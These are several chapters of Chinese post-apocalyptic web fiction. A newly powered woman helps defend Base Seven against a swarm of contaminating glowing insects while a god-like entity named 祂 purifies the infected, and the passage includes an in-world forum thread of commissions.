血液里有什么东西在涌动,她饥肠辘辘,兴奋不已。
等等,是不是该吃点东西,补充能量?
吃点……
柯雾的视线游离在数个页面上,但交易板块的进入选项是灰色,点击显示她未实名。
她只好暂时放弃,转向供给板块。
基地给她的账户打了1w交易点,一根能量棒是300交易点,她买了两根,等待送货上门的间隙不死心地戳交易板块,无果。
柯雾发了一会呆,起身收拾房间。
然而没什么好收拾的,这一层被划分成休息区、娱乐区、饮食区、卫生区,就是超大的卧室、客厅、厨房和卫生间,每个区域都闪闪发光一尘不染,显然提前打扫过了。
她将厚重的外衣搭在椅背上,踱步到卫生间。
离镜子几步远时,她罕见地犹豫了。
非常傻气地开始摸自己的脸,确认鼻子是鼻子眼是眼,没有多也没有少哪个部件后,才深吸一口气站到镜前。
在直面镜中人影前,柯雾无法忍受地闭眼。
她很害怕。队长发尾的淡色触-须,郁七炫彩的瞳孔,人们对异能者的异状习以为常,她却不能。
睁眼天翻地覆,高楼倾塌,秩序无存。只有不断压下心中的慌乱茫然,才能撑着一副笑脸走到基地,走回人类的聚居区,找回一些旧日光影,一点心安。
她不是看不出小队的抵触,专家的为难,但她必须加入基地,她想回到同类之间,想要证明自己不是累赘,为此她迫切地希望做一些贡献,哪怕微不足道。
被告知成为异能者后,她的第一反应是逃避。这段时间古怪的食量得到了解释,进化是好事,她却笑不出来。
是什么时候被污染的?穿越的一瞬间、埋在土下的时候?
她无法判断,过往的一切变得陌生,前路未卜。她会变成什么样?她还能回家吗?回家的时候还是人吗?
柯雾抱住自己,安抚自己。
别怕。
不是所有的异能者都会变异,即使变异了也是人,只要保持理智。
……只要保持理智。
做完心理建设,她张开眼。由于过于用力,睁眼的一瞬眼冒金星,待视线恢复如常,镜中的少女和柯雾对视。
黑发蓝眼,发尾堪堪及肩,面容沉静。
她试着牵了牵唇,少女也动了动,淡色的薄唇微扬。
一切如常。
9. 梅开二度
柯雾紧绷的肩背松懈下来,洗了把脸,手环滴滴作响,显示货物送达。
她把比空气还稀薄的刘海往上一撩,水雾雾地去开门。
送货员的防护服从头包到脚,放下东西就走,没有给柯雾道谢的机会。
她购买的货物装在一个表面光滑的金属箱里,不重,只是莫名眼熟,拎起时有什么东西一掠而过。
柯雾想问送货员,但脚步声已远,只看到黑色的背影消失在楼梯拐角。
她只得拎回房间,箱子在灯光下呈现的质感类似外面的雕塑。
一个材质吗?
柯雾摸索着试图打开金属箱,她的手覆上箱面,和想象中冰凉坚硬的金属质地不同,掌心贴合处微微发热,此外还有些微凹凸不平之感,仿佛野兽遍布倒刺的长舌,耸动着,舔舐过掌心。
柯雾一个激灵,刚想放开箱子,它就自己打开了。
金属箱从中缓缓张开,平铺在地,闪烁着微光的飞虫从中钻出,绕着柯雾飞了几圈,便朝屋外去了。
哪来的萤火虫?
柯雾目送点点辉光竞相穿过厅堂,往阳台的方向去。她低头清点能量棒,确认没少后合上箱子,快步迈向阳台。
顶层的阳台十分开阔,夜空和城景相映成趣,一览无余。
基地熄灯很早,外城区一片黑暗,只有路灯透出微弱的光芒。萤火虫拖出长长的光线,没有朝天空,反而往下飞去。
柯雾趴在阳台上,看着几条细长的光带不断下落,抵达地面后,弯弯绕绕地流向那座雕塑。
甫一接触,雕塑本身也浮现碎钻般的荧光,不均匀闪烁着,仿佛一团光点在其中,蠢蠢欲动破像而出。
*
指挥中心,偌大的会议室只剩几个身影,通过检测且无需隔离的高层都在这了。
“祂居然离我们这么近……”
巨大的荧幕上投影着一座环状建筑,正是祂的居所,高层怕重蹈覆辙,只调用了建筑外的监控器。
几人对着投影低声交谈,眉目间满是忧色。
总长没有露面,她们是为数不多尚能活动的决策层,短短几日内基地面临的危机火上浇油,如今她们需要决定今后应对祂的方案。
会议室大门洞开,虞零和朱肆一前一后走入。
“荧虫的源头找到了。”朱肆横刀直入,“诸位,请看。”
虞零接过她的手环,插/入微型光脑,监控画面被一段录像覆盖。
第一个被寄生的人是朱肆的下属,录像显示他通过检测后没有第一时间前往军处报道,而是开车驶离了内城区,在外城区的边缘停下,走进一个监控死角。
再出现时,他走路的姿势略显僵硬,像提线木偶,又像猿猴初学直立行走。
但没几步便恢复了正常,甚至若不是录像特意调慢速度,连这点异常都看不出。
“我们查看了他的通讯记录和交易账户,发现他和出没禁/区的荒野猎人存在走私交易。”虞零有些沙哑地开口。
荒野猎人不是一种职业,而是对拒绝加入基地,凭本事在野外生存的人类统称。
有些能力强大的异能者不愿受基地管束,常年游荡在荒原上,由于频繁出入高污染区,她们大多处于异化的边缘,但尚有理智的时候,往往也是她们从禁/区深处带回各种稀缺物品,如珍贵的样本,或是文明遗迹的遗产,包括一些如今基地无力生产的物资。
基地有专门机构和她们合作,高价回收,不得流通的禁品则会销毁。
有些人想要购置稀缺物乃至违禁品,就会单独和荒野猎人联系,想尽办法带入基地。
“他买了荧虫,至于为什么……”朱肆耸耸肩,“这家伙想获得异能,荧虫只有产卵期有污染,属于比较安全的激发源,或许他信了那些专家无副作用激活的鬼话。”
作为专家中的专家,虞零面不改色道:“七基的居民大部分想往上走,成为异能者是最快的方法。异能又必须经受污染才可能产生,这种较为温和的异种一直有市场。”
朱肆:“现在离荧虫的繁殖季还有一段时间,荧虫不该那么快产卵,那个荒野猎人有问题。”
况且就算买最多也是买两三只,哪有一买买一窝的。
“他私下和来路不明的人交易,中途不知发生了什么,也可能是对方故意为之,荧虫提前进入了繁殖季,寄生了他。”
“那个猎人的账户已经注销……”
“等等,这个交易地点!”出声打断的是外城医疗中心的负责人,他面色苍白,高举的指尖在发/抖:
“是、是祂的所在啊——”
虞零马上切回实时监控。
夜色已深,本该光线黯淡的环形建筑亮如白昼,千万光点汇聚成束,点亮了建筑中心的雕塑。
看上去,仿佛雕塑本身在发光。
下一秒,那发光的塑像从中开裂,泡泡一分为二,流出一道荧河。
荧河照亮了黑夜,也照亮了人们惨白的面庞。
荧虫!成千上万的荧虫入侵基地!
“该死!”朱肆低骂了一声。外城区的污染应对装置关停了,没能及时触发警报,她们竟毫无察觉。
身处祂的领域不过是被缓慢污染,只要不激怒祂,居民们还有时间逐一净化。若是荧虫在基地筑巢,后果无疑是灾难性的,哪怕再建十个医疗中心都无法扭转全面污染的局面。一个神级异种尚未能劝离,另一群便蜂拥而至,基地真是多灾多难。
“太多了……”负责人哆嗦着道。即使及早察觉,这么多的荧虫应对起来也很麻烦,以七基的火力没有把握将其拦截在城外。倘若它们就地产卵,成千上万的卵飘雪般落下堆叠,足够砌一道漫上城墙的白雪梯了。
其她人没有余力发表感言,各自奔赴岗位。
*
柯雾倚在阳台上,配着流光飞舞的景色啃能量棒。
她的身份证明不全,通讯器的很多板块不能登入,正愁没有下饭的消遣,萤火虫就送上门了。
不过这么多虫子没问题吗,基地不怕生物入侵吗?全球污染生物变异的话应该很多物种都成了异种吧,想起电影里模样怪异的畸形野兽,手里的能量棒都有些不香了。
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等她把多余的想象摇出脑袋,再度咬上巧克力棒时,手环突然发出尖锐嗡鸣,颜色也由瓷白转为橙红,闪着红光的紧急窗口弹出:
“警报!警报!异常生物入侵,请位于警戒区的居民配合军处撤离!”
“下面播报《特殊时期基地守则(第七基地版)》:
1、请回避异常,保持清醒。
2、如您位于室外,请尽快进入地下避难
3、如您位于室内,请就近进入休眠舱,确保舱体封闭。
……”
柯雾几口咽下能量棒,返回房间寻找所谓的休眠舱。
虽然她看不出有什么变化,但保命为上。
*
战斗机群空中集结,呼啸着越过高大的城墙,倏忽间抵达建筑外围,倾斜数枚清洁弹。
炮弹甫一落地便炸开,难言的气体奔腾而出,光河隐于其中,明明灭灭。
可等烟雾散去,光亮不减。
装甲车阵宛如墨绿的潮水,包围环状建筑,一排排火箭筒速射而出,落地成火,荧虫躲闪不及,噼里啪啦融化在熊熊大火里。
炮声轰轰,黑烟弥漫。一番狂轰滥炸后,四周归于黑暗。
装甲车的探照灯转向建筑中心,还未扫到雕塑,便一下熄灭了。
操作员几番尝试,最多只能照到建筑外墙,只当她们不明所以时,黑暗本身蠕动了一下。
披着焦黑的兄弟姐妹,悄无声息接近车头的荧虫抖落伪装,彼此交缠,织成一张光幕,网向装甲车阵。
“关闭所有气孔!”
车阵应声而动,同时一点白色落下,仿若一个信号,大雪纷飞。
*
柯雾没找到休眠舱。
卧室里只有占据一半面积、由几张垫子拼凑成而成的地铺,柯雾弯腰按了按,很软。
她怀疑这原本是个大通铺,为她收拾成了一张勉强像样的“床”。
这可真不好意思,柯雾缓缓合上房门。
她找遍了一整层,都没见到疑似休眠舱的舱体。
打开通讯录,柯雾的手指悬在温九的名字上方,没有落下。
温九离开时表情很难看,而且时间也晚了,柯雾不想打扰别人休息。郁七的头像是灰的,柯雾问候的话语一直没得到回复,估计是在忙。
思来想去,柯雾最终拨通了跟小队的号码一块内置的专家通讯码,对方特意备注有什么问题可以找她。
“嘟——嘟——”
低哑的嗓音伴着剧烈的喘息声,接通的人在奔跑:“您好??”
“是我,柯雾,请问休眠舱在哪?”
“休……”那头停下脚步:“您……您看见了吗?”
什么?异常吗?
柯雾回忆了一遍,不确定道:“萤火虫?”
“荧火……对。”那头竭力压抑气音,“您想消灭它们吗?”
??萤火虫是异常??柯雾顾不上惊讶:“我可以吗?”
“当然,您先下来,我……!”
柯雾攥紧了通讯器,通话却一下挂断了。
10. 囊蝇映雪
十五分钟前。
铺天盖地的虫卵落下,通讯频道乱成一锅沸腾的粥。
“爹的!清洁弹怎么没用,不是说荧虫最讨厌这味道,可以推后产卵期吗?!”
“院长,我们接下来……院长?!”
“和产卵的荧虫拉开距离!”虞零低喝道。
产卵的荧虫体内会分泌有助于虫卵排出的液体,这种液体极具腐蚀性和污染性,金属触之即软,人触之即染。
通讯频道空白数拍,随后转为难以分辨的杂音。
虞零顾不上其她,她匆忙赶往研究院所在的大楼,负责捕荧笼网的运送。
这种捕捉工具是在旧时代的捕蝇笼网的基础上改造的,原本计划交给荒野猎人捕捉少量包括荧虫在内较为温和的异种作为实验体,如今误打误撞派上了用场。
她跟着专车一路护送到警戒区入口,哪想奉命交接的军人不幸沾染虫卵,在她们到来前便已异化,迎接她们的是持枪的绿头苍蝇人。
被污染的军人大脑混乱不堪,残存的意识抓着使命必达的念头不放,誓要拿到笼网,对她们穷追不舍。
警戒区的另一个入口将近,虞零带着笼网下车,同事方向盘一转,挡在追堵的路上。
她奋力奔向第二个交接点,却在踏入警戒区的一瞬被淋头浇下的虫卵淹没。
与此同时,通讯窗口弹出,祂的音波飘渺而至。
*
柯雾重拨几次,都显示对方忙线。坐立不安地等待一会仍是杳无音讯,外头的动静倒是愈发大了。她咬牙披上外衣,背起折叠刀,以最快的速度下楼——当初回基地的时候队长给她找了个有背带的刀套,说是方便携带,对此她感激不尽。
空气中洋溢着一股炮仗味,柯雾倒是不讨厌,只是有些影响视线,她边用手扇风边走出楼道。
开阔的空地上散落着几片碎裂的雕塑,柯雾不慎踢到一块,莫比乌斯环的切面之一顿时碎成齑粉,星星光点从中飞出。
柯雾定了定神,发觉这些萤火虫长大了,之前微小的身躯被光晕掩盖,现在可以看清整只虫了。
硕大的复眼,腿毛茂盛的六条长腿,油腻的蓝背甲。
……怎么感觉像苍蝇?
通讯窗口适时弹出,柯雾连忙接通。
“您在……我看到您了。”
黑烟里走出一个踉踉跄跄的身影。
柯雾一时间没把通讯器的声音和面前又一个苍蝇皮套人联系上。
见她如此反应,撑着苍蝇头,四肢挂满萤火虫的虞零苦笑:“这个给您。”
她用手套完好的那只手小心翼翼递来一个捕蝇笼网;“能请您帮忙把它们赶进去吗?”
“这些荧……苍蝇吗?”
虞零的话语断断续续:“是的……您的话……只要表现出驱赶的意图,它们便不会反抗……”
她的声音愈发低迷,但柯雾听懂了。
“你怎么办?”
她的目光落在那蝇脸微微颤动的小须上。
“我不要紧……深度污染基本没救了。”她喃喃低语,像自言自语又像说给柯雾:“荧虫……确实是非常合适的激发源……控制变量……可以提高激发异能的概率……缺少实验体……禁/区……不容易抓……”
她的复眼缓慢合上:“要继续研究……”
一柄冰冷的刀锋搭上她的脖颈。
“那个,院长。”柯雾第一次这么叫她,“虽然不知道为什么戴个头套就是异化,但我还是建议你脱下来。”
“脱下来,就不会
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那么难受了。”刀刃滑/动,“没有力气的话,我帮你。”
*
装甲车碾过虫卵,爆出的汁液粘在车胎上。尽管被碾碎的很多,但成功孵化的更多。如此近的距离,怕误伤友军,军队不好朝虫群开火,一时间进退维谷。
荧虫们分工有序,一部分噗噗下崽,一部分汇聚成巨大的光团,而后光团长出脚,伸出须,展开背后的薄翅。那巨大的复眼远看由无数六边形晶状体嵌合而成,近看无数细小的人眼挤在每一个六边形中,眼睑叹息般翕合。
巨型荧虫不急不缓地飞向战斗机群。
空中列队即刻变换阵形,转攻为守,躲避来势汹汹的虫群。
但巨型荧虫只是个幌子,无人留意到零星几只荧虫潜入机尾排气管,随后,“噗噗”。
机身一下成了纸糊的灯笼,从内里溃烂。
当第一架战斗机支撑不住,拖着滚滚浓烟坠落时,几乎与夜色溶为一体的领域伸出一只纤长的触/手。
轻巧地缠上机身,而后轻轻放下。
人们的目光不由得投向骤然而降的压力来处。
在人们的注目礼中,祂像一滴彩色的露水,滑下螺旋的通道。
在祂现身的那一刻,所有飞舞的荧虫都僵直了身体。
祂静静地看着这混乱的一幕,无处不在的视线集中于一点,巨型荧虫所在的那点。
荧虫团象征性地挣/扎了一下,随后雪崩瓦解,碎成漫天飞舞的微光。
【你怎么办?】
祂的目光落向另一处,渺小的一处。
在祂不在意的角落,阴影扭曲着渗入白雪。装甲车的驾驶员们战战兢兢地注视着黑影覆上彷佛无穷无尽的虫卵,像拉开羊毛大衣的拉链,啃噬出飞速扩大的缺口。
11. 自圆其说
祂比之前更大了。
虞零清晰地感知到这点。
碗口大的触/手游过她的颈侧,虞零吞了吞口水,冰凉的液体划过口器黏膜,落入尚未异化的胃部,升起一股灼烧的疼痛。
是了,她头部的构造已经不算人了,维持最后的理智大概是精神系唯一能做的抵抗。
“噗嗤”
在虞零逐渐恍惚的意识中,看似柔软的触/手仅仅擦过虫巢的表面,便瞬间使荧虫四散奔逃。
半异化的脑子可以接收到异种奇异的频率,荧虫的高频尖叫直抵她的天灵盖。
她莫名有些想笑,身体因恐惧颤.抖,大脑却兴奋不已。
光怪陆离的视野中,虞零看到一个黑发的女人朝她伸出手,女人蓝色的眼睛像静谧的夜海,带着关切和担忧。
异化的症状包括认知紊乱,虞零放任自己沉入幻觉,主动搭上女人的手,哑声道:
“谢谢。”
*
用刀背探了探,柯雾确定这个头套和那天的npc一样,怕伤到虞零,她最后忍着恶心抓住头套的两只复眼掀开。
果然她不喜欢虫子,哪怕是假的也不喜欢。
虞零像喝醉了酒,整个人昏昏沉沉,抓起柯雾的手就往自己脸上贴。看她神智不清还要道谢,柯雾一时不忍,没有立即移开。
她发了高热,整个人如同蒸炉,柯雾的手仿佛搁在暖水袋上,没一会就变暖了。
不知不觉间不再有炮弹落下,柯雾看清了那些盘旋的战斗机和踟蹰不已的装甲车,它们保持着诡异的静默,像被统一按下了暂停键。
如果萤火虫……发光的苍蝇是所谓异常的话,她们确实不用继续进攻了,因为漫天的飞虫早在充足的火力下被消灭大半,至少柯雾看到是这样。剩余的虫子在拖着残翼奋力往上飞,却还是无力跌落到焦黑的地面,发光的尾部逐渐熄灭。
一架直升机破开云层,稳当地在离柯雾不远的空地上停下。
全副武装的士兵们有序落地,为首的那位来到柯雾面前,长腿一拢,行了个标准的军礼。
“第七基地军区总指挥朱肆,向您致以诚挚的谢意。”
柯雾感到她的目光微不可查地下移,当即会意,将虞零交给了抬着担架上前的医疗兵。
“她发烧了,不过现在降下来了些……这是污染吗?”
朱肆点头,眼中闪过一丝愧疚:“荧虫群突然进入产卵期,污染指数攀升,在警戒区构筑了小型干扰场,信号传不出去,守在入口的士兵也被污染,没能及时通知她。”
“多亏了您。”
柯雾摇头,提起一人高的捕荧笼网:“还需要捕捉吗?”
荧虫死的死伤的伤,但毕竟数量众多,说不准有漏网之鱼。
朱肆示意下属出列:“交给我们就好。”
训练有素的士兵们接过笼网,掘地三尺地捕捉荧虫。
“我可以问一件事吗?”朱肆回头,正欲说什么,柯雾抢先开口。
总指挥立正:“当然。”
柯雾用刀尖挑起完整的头套,凝视那栩栩如生的苍蝇道:“告诉我,这是什么?”
朱肆顿了好一会,“您认为是什么?”
“头套。”这是她第二次回答相同的问题,郁七若有所思的神色和朱肆沉稳中暗含紧张的神情重叠,加之突然提议的异能者鉴定,她灵光一闪,猛然了悟:
“所以这其实不是头套,只是因为我也被污染了,才看不出来?”
*
朱肆难得无言。
不足一米开外,祂迷幻的本体飘忽不定,忽大忽小,忽上忽下。那虫巢被一根尤为粗壮的触.手顶起,随着祂的扩张被撑到两个头大,随着祂的缩小被挤压到一个手指小,里头的荧虫不要说发光,怕是连好不容易产下的卵都被碾成了粉末。
她强自镇定道:“是虫巢。”
祂顿时嫌弃地丢开,虫巢在空中高速转体,转着转着开始自燃,燃着燃着成了灰烬。吃完虫卵的阴影凑近碰了碰,也随主人形,嫌恶地游开。
【我不能一直这样】祂有些忧愁的心绪传入朱肆脑海,【可以帮我净化吗?】
朱肆:“……”
她差点以为自己因为过于接近神级异种,失去了理智而不自知。
什么净化?净化谁?
拿自来水管冲刷大海?大海会不会变得干净一点她不知道,自来水
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肯定能毫不突兀地溶入大海,成为庞大水体的一份子。
这要是让清醒的虞零听到,怕是会再晕过去。
朱肆在心底叹气,硬着头皮劝:“不着急,天色晚了,要不您先休息,明天再安排?”
祂意外地好说话,不再纠结,转向另一个话题。
*
柯雾琢磨着今晚发生的事,她这应该是稀里糊涂帮到一些忙了吧,也算对得起基地白给的交易点。
但是一根能量棒就花了300点,现在的居所暂时不用交钱,到了内城区就不一定了。柯雾作长远打算,没放过难得露面的基地高层:“请问有什么办法解除交易板块的限制吗?”
她转动手环,向朱肆展示灰了一片的界面。“身份证明办下来太久了,可不可以先开个临时证明什么的,我想接点委托。”
“委托?”朱肆的反应和温九如出一辙,满脸不可置信。
“您……”她努力思考措辞,最终放弃道:“我替您催办事处,让她们动作快点。”
得到保证,柯雾放下心:“麻烦你了。”
“不麻烦不麻烦。”朱肆忙摆手,面带犹豫。柯雾主动道:“有什么需要我做的吗?”
“深度污染的人很难恢复如初。”朱肆下定决心般道:“她们会逐渐被污染源同化,从身体到精神向污染源看齐,除非……”
她莫名地沉默了。
“除非?”柯雾一头雾水。
“除非被更强的污染源覆盖。”朱肆无奈地笑了笑。“或者经由高级治疗师治疗。但高级治疗师供不应求。”
柯雾等着朱肆下文,可她没再说下去。
“所以……”柯雾试探道:“我是治愈系异能,可以帮忙?”
之前做鉴定的时候虞零就跟她打过预防针,初级异能者特指以目前的科研水平无法认定具体实力的异能者,她们抽取了她的血样进行实验分析,如果有了结果会和身份证明一齐作出,包括她具体的异能倾向、类型等。
柯雾自认没有其她的过人之处,只可能是异能鉴定方面出结果了,需要她了。
对面哽了一下。
“不是吗?”柯雾困惑道:“那我能做什么呢?”
12. 狗狗祟祟
“……您说得对。”朱肆道,“是需要您帮助治疗。”
【好啊,怎么做?】
那团色彩蠕蠕垂下,几乎和她齐平。
“……”朱肆刚要回答,副官却匆忙赶到,告知了虞零苏醒的消息,她咽下原本的说辞,模棱两可道:“等您的身份证明办下来,会有专人带您进行系统训练。”
祂浪形回弹,没有异议。
朱肆再三保证会催促身份办理流程,生硬地客套了几句,便找了个由头告辞。
祂人性化地目送朱肆离去,令她如芒刺背,一刻也不敢回头,一双长腿迈成风火轮。
*
医疗中心,特级隔离室。一堵格外厚重的玻璃墙隔开研究院院长和军区总指挥。
“醒得真快,不愧是精神系。”朱肆倚在防爆玻璃的一端,语气轻快道。
虞零被束缚带捆在铁床上,虫化症状已逐渐步退去,新长出的复眼无力开裂,散落一地;干枯的虫卵不断被挤出新生的肌肤,不免留了些痕迹,但她浑不在意地拂去。
同祂接触后,她的体温不断下降。随着宿体的速冻,寄生在她身上的荧虫、荧虫产出的卵、卵孵化的新虫也不断死去。
等到达一个冰点,又触底反弹般升高,逐渐恢复正常。
虞零在反复高烧降温后转醒。
恢复神智的她自行解开束缚,靠着另一端坐下,自顾自道:“我知道了。”虞零深吸口气,“但我不敢确信,这太惊人了。”
听起来她到鬼门关走了一遭,似乎有什么新发现,朱肆正了色:“怎么?”
“祂……”虞零面上空白一片,就在朱肆疑心她落下了痴呆的后遗症时,缓缓吐.出一句:
“祂的污染等同净化。”
朱肆皱眉:“哪个进化?”
虞零缓慢地眨了眨眼,原本明翠的绿色蒙上一层阴翳,在隔离室的白炽灯下雾沉沉的,几乎透不出原色:“……都是。”
朱肆不是做研究的,对院长的脑回路无法一点即通,她思考片刻,直接搬出郁七的报告:“被祂污染,不仅能保有理智,还可以进化?”
虞零总算有了些情感波动,她忽然转过身,凑近那厚到几乎看不清双方身影的隔离墙上。半个身子压.在上面的朱肆被她的举动吓了一跳,随后被那双瞬息间异变的眼瞳震住,无法动弹。
虞零的瞳孔边缘渗着丝丝油彩,看着眼熟不已,仿佛用一只画笔从祂的表面蘸了一分颜色,缀入其中。
朱肆弹射起身,朝身后摸枪。
深度污染者没能获得有效的治疗会飞速异化,等身躯全然向污染源异种看齐,便没有了救治的余地,只能得到异种的待遇。
那个经祂出手的飞行员很幸运,祂在祛除虫巢的同时给他附加了轻度污染。那些阴影缠绕其上,画野分疆,令其她异种丧失寄生的空间,统统成了阴影的口粮。是以飞行员只是暂时痴呆,等完全净化,再修养一段时间便可恢复如初。
但若祂施加的不是轻度污染,而是……
虞零咧开嘴角:“祂的色彩,是吗?”
“我被污染了啊……足以使外形发生变化的污染……”她喃喃自语,神情透着一线癫狂:“可我还能思考,我记得自己是谁,从何而来。”
她喋喋不休,胡言乱语:“她的手好冰,好舒服,不对,应该是祂的……”
“祂也是精神系?不,不,神级异种怎么能像人类那般狭隘地划分……”
“接触的那一瞬间,我感到了许多,郁七……那孩子也看到了吗?”
“祂眼中的世界,我们的世界。”
不给朱肆接话的机会,她整只眼贴上朦胧的隔板,彩色扩大,鲜艳欲滴:
“你说……一个自我认知是人类的异种,污染了人类,又能如何呢?”
话音未落,她没看朱肆的脸色,强行夺走了这位多年不对付的同事的身体控制权:“我对异能的掌控比之前更深一层了。”
“阿肆,替我去看看那孩子吧。”她微笑着,下达了命令。
*
办事处给柯雾私发了五六封道歉信,并加急赶出了临时证明,开放了交易板块。
柯雾进去一看,各种委托按不同种类等级排序,从A.级到F级,从战斗类到生活类,发布者从官方到个人。
她挑挑拣拣,勾选了“F级”和“生活类”,筛出一页纸的委托。
居然还有一页,柯雾心满意足地点开第一个《我的狗丢了》。
【标题:我的狗丢了,我的心也丢了】
【内容:如题】
【出价:3000点】
怎么没头没尾的?柯雾往下滑,发现竟然有评论区,还有不少人留言。
【楼主说清楚在哪个基地丢的,是要帮忙找回来还是再买一条?】
【情感类?分错区了吧@管理员有人错版了】
【楼主找陪聊吗?这边好评率99.99%哦,还能私人定制语音视频,大.奶军官、青涩校草、纯熟人夫,应有尽有,具体私聊1882119yy】
【楼上,交易板禁广告,还不删?@管理员】
【只有我关心楼主吗?楼主你说句话啊】
柯雾:“……”
好亲切的论坛风。
她顿时对基地多了一分归属感,津津有味地刷了下去。
楼主的回复大写加粗,十分好认:
【我只要我的狗】
【不找,我要我的狗】
【我的狗我的狗我的狗】
【狗狗狗狗狗狗狗狗狗狗】
【搞什么,被污染了吗?】
【楼上,哪个被污染的还能发帖,明显是装疯卖傻博眼球的,举报了@管理员】
【楼主,对个暗号,13区?】
【什么暗号?还有什么我们不能看的交易?】
【等等,是那个禁.区13区,前段时间封控那个?】
【楼上在搞笑吗,禁.区还能封控?异种难不成会乖乖听话不出来吗】
【这事是真的,天上那些人出手了】
楼主:【13区,对,我最后一次见到它是在13区】
【那天我和队员出任务,远远看到奄奄一息的它,如此美丽,如此耀眼。我忍不住驻足围观,它也看到了我,主动找上了我,在我掉队时为我叼来一快腐肉。虽然尸体不在我的食谱内,但我还是十分感动,长这么大,只有陪伴型机器人对我这么好】
【……】
【……】
【都说被污染了吧】
楼主不为所动,继续道:【那段时光如梦似幻,我们结伴而行,穿过禁.区,行过遗迹,我们会在月下相依,也曾共赏日出奇景。后来,我的队员找到了我,她们拒绝收留它,这是自然的,人类容不得它。没关系,它有我就好。我也只有它了。】
【可是无论我如何苦苦哀求,它还是在我回归队伍后舍我而去,我知道错了!我已经忏悔,祈求天神上帝观世音菩萨王母娘娘保佑它。我找了很久很久,很远很远,我好怕它先我而去,独留我在人间】
【看你说话我好难受……】
【不是禁止异化者上网吗?隔着网线我都快被污染了,这是哪个基地的?医疗中心的人不干事吗?】
【七基吧,那离13区最近】
【那不意外(笑)】
【七基的异化率确实是最高
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的】
【别歪楼,所以楼主你委托的具体内容是什么?情感贴我移区了】
最后一句话标红,管理员下场了。
楼主只回了一句:【我知道它在哪,我会去找它,谢谢你们。愿意加入我就接吧,无论最后成不成功都会结单】
结单就是给钱。
3000点可不是一个小数目,普通雇佣兵外出一趟的物资包也才500点。柯雾起了一丝好奇,私聊楼主:【你好,请问还可以接吗?】
对面自动回复:【不看私,帖子在就是可接,急事加通讯码:口口口口口】
柯雾没有直接加,而是浏览了其她委托。
对比之下,这个委托的报酬是最高的,倒也和风险成正比,就是不知道怎么被划进F级的。
她搜索了13区,资料显示这是离基地最近的一个禁.区,里头的异种最低也是六级。
弄清异种的区分标准后,柯雾熄了薅羊毛的心,老老实实洗漱睡觉。
临睡前她看了眼通讯录,郁七还是没动静,她切换到虞零的页面,询问郁七的现况。
夜色确深,回复来临前,她不觉沉入梦乡。
*
军靴踏在无人的回廊,落地铿锵,泄露些许主人的烦躁。
朱肆同虞零争夺意识的控制权,但她在毫不设防的情况下被偷袭,根本抢不过如有神助的精神系,只得脑内唇枪舌战,试图撼动虞零的决心。
“你急什么?她只要认知测试没问题就能进行晋升考核,有问题了你也爱莫能助,难不成你要狼狈为……包庇……我是说,你现在去了也救不了她!”朱肆咬牙切齿道。
“她不需要我救。”虞零在脑海中慢悠悠回。“我只是想确认一些事。”
“什么事你大白天自己来不行吗?!”朱肆怨气大爆发:“大半夜鬼鬼祟祟是要干什么?我跑来跑去一天了还要被你使唤……!”
虞零截下她的话头:“嘘。”
走廊深处是认知测试的禁闭室。
现在,属于郁七的那扇门打开了,室内微风.流转,空空荡荡。
“你的好学生。”朱肆讥讽道。
“我没有收到她通过测试的消息。”虞零:“去看看她有没有变成其她形态。”
一般认知测试要进行三天,郁七刚刚开始,就算中途停止,也应当记录在案。虞零走前特地嘱咐了测试员,有什么突发状况要第一时间通知她,现在明显出了意外,却没人联系她,只能是测试还在进行,或者……测试员也出事了。
“等等。”朱肆停下脚步。“不对劲。”
方才注意力没放在周身环境,加之上楼来一路正常,她也就没留意,医疗中心的角落,有那么……阴暗吗?
“我一直想问你。”朱肆装作漫不经心移开目光,“【领域】到底是什么东西?”
“你可以理解为祂的能力所及之处。”
“那是不是说,在祂的领域范围内,我们任祂宰割?”
虞零沉默了,话糙理不糙。
朱肆走近门户大开的测试房间:“哈,也就是事情发生得太快,等指挥部那些家伙反应过来,发现引狼入室,你猜她们会怎么清算?”
虞零嗤笑一声,那其中的轻慢太过露骨,令朱肆怔然。
“你以为,我们有选择的余地吗?”
“还是祂好脾气的假象蒙蔽了你,让你觉得祂是那种被人哄哄就回荒野的好宝宝?”
朱肆一阵恶寒。
不得不说,祂迄今为止表现得异常温和,对人类也友善得不可思议,但这些形容词动词根本南辕北辙倒反天罡。
谈话间,她跨入门扉,刹那一阵阴风兜头袭下!
13. 准备就绪
朱肆不躲不避,正面接了这一击。
昏暗的灯光中,撞击者闷哼一声,被总指挥强化过的身躯拦在门口。
朱肆打开灯,撞击者身影无所遁形,瑟缩在明亮的白炽灯下。
完全阴影化的郁七盘成一团,努力钻进不那么亮堂的角落,却因体积过大屡屡失败。
“果然是变异了。”朱肆心里一沉,虞零不知怎么想的,没有回话。
认知测试的第一阶段会在房间内设置对战方,诱导参与者使出全力,超过三-级的异能者会出现部分躯体异化的症状,同时神智会受到一定影响,朝污染源异种变化,但成熟的异能者不会放任认知被篡改,而是把握好这个界限,在彻底异化前利用异能破除困境。
郁七是精神系异能者,比较特殊,使用能力时她的大脑会有一块区域异变,能够接收到特殊的频率波动。测试房间模拟播放人类释放恶意时的频率波动,从宏大到微小,测试她的接收范围。
按照之前的记录,作为三.级异能者,她应当能捕捉到细微的频率波动,从而作出预警。
事实上她确实作出反应了,不止察觉,还进行了反击。通过广播操控测试进程的测试员应当是受到精神攻击,本该宣布测试结果的喇叭寂静无声,朱肆猜喇叭的另一端趴着不省人事的测试员。她拨动通讯器,知会了值班的医务员。
“我想起来了。”虞零冷不防发话,已经走到郁七身前的朱肆一顿。“什么?”
“这孩子是教学事故导致的异能残次。”虞零道:“教研中心的结业任务是野外探索,五年前碰上13区扩张,选择离13区最近的外围荒原探索的那一批学生,包括带队导师死伤大半。”
“活下来的都是觉醒的异能者,强撑到救援部队赶到。因为污染源来自禁.区的那些高危异种,她们从觉醒之初就位于失控的边缘。”
“那时我们团队的研究方向是通过改造变异部.位,控制异化程度,已经有了成功的案例。为了收集更多的实验数据,也为了能把她们从异化的边缘拉回来,避免刚获救又因异变被‘清理’的悲剧,我邀请了她们参加实验。”
“我们尽可能地在保住她们理智和能力的情况下进行手术,但郁七的异变程度太高,畸变的肉块几乎占据整个脑袋,最终我们只能强行分离畸变部分,以至于她的异能受损。”虞零艰涩道。
朱肆:“你居然没认出她?”
“我……”虞零的声音低下来,不知道是在跟谁说:“……抱歉。”
那段时间不仅是郁七,还有其她同样处于危险的学生等着救治,她跟进了一台又一台手术,数天没合眼的连轴转,连自己长什么样都快忘了,何况是当时面目全非的郁七。
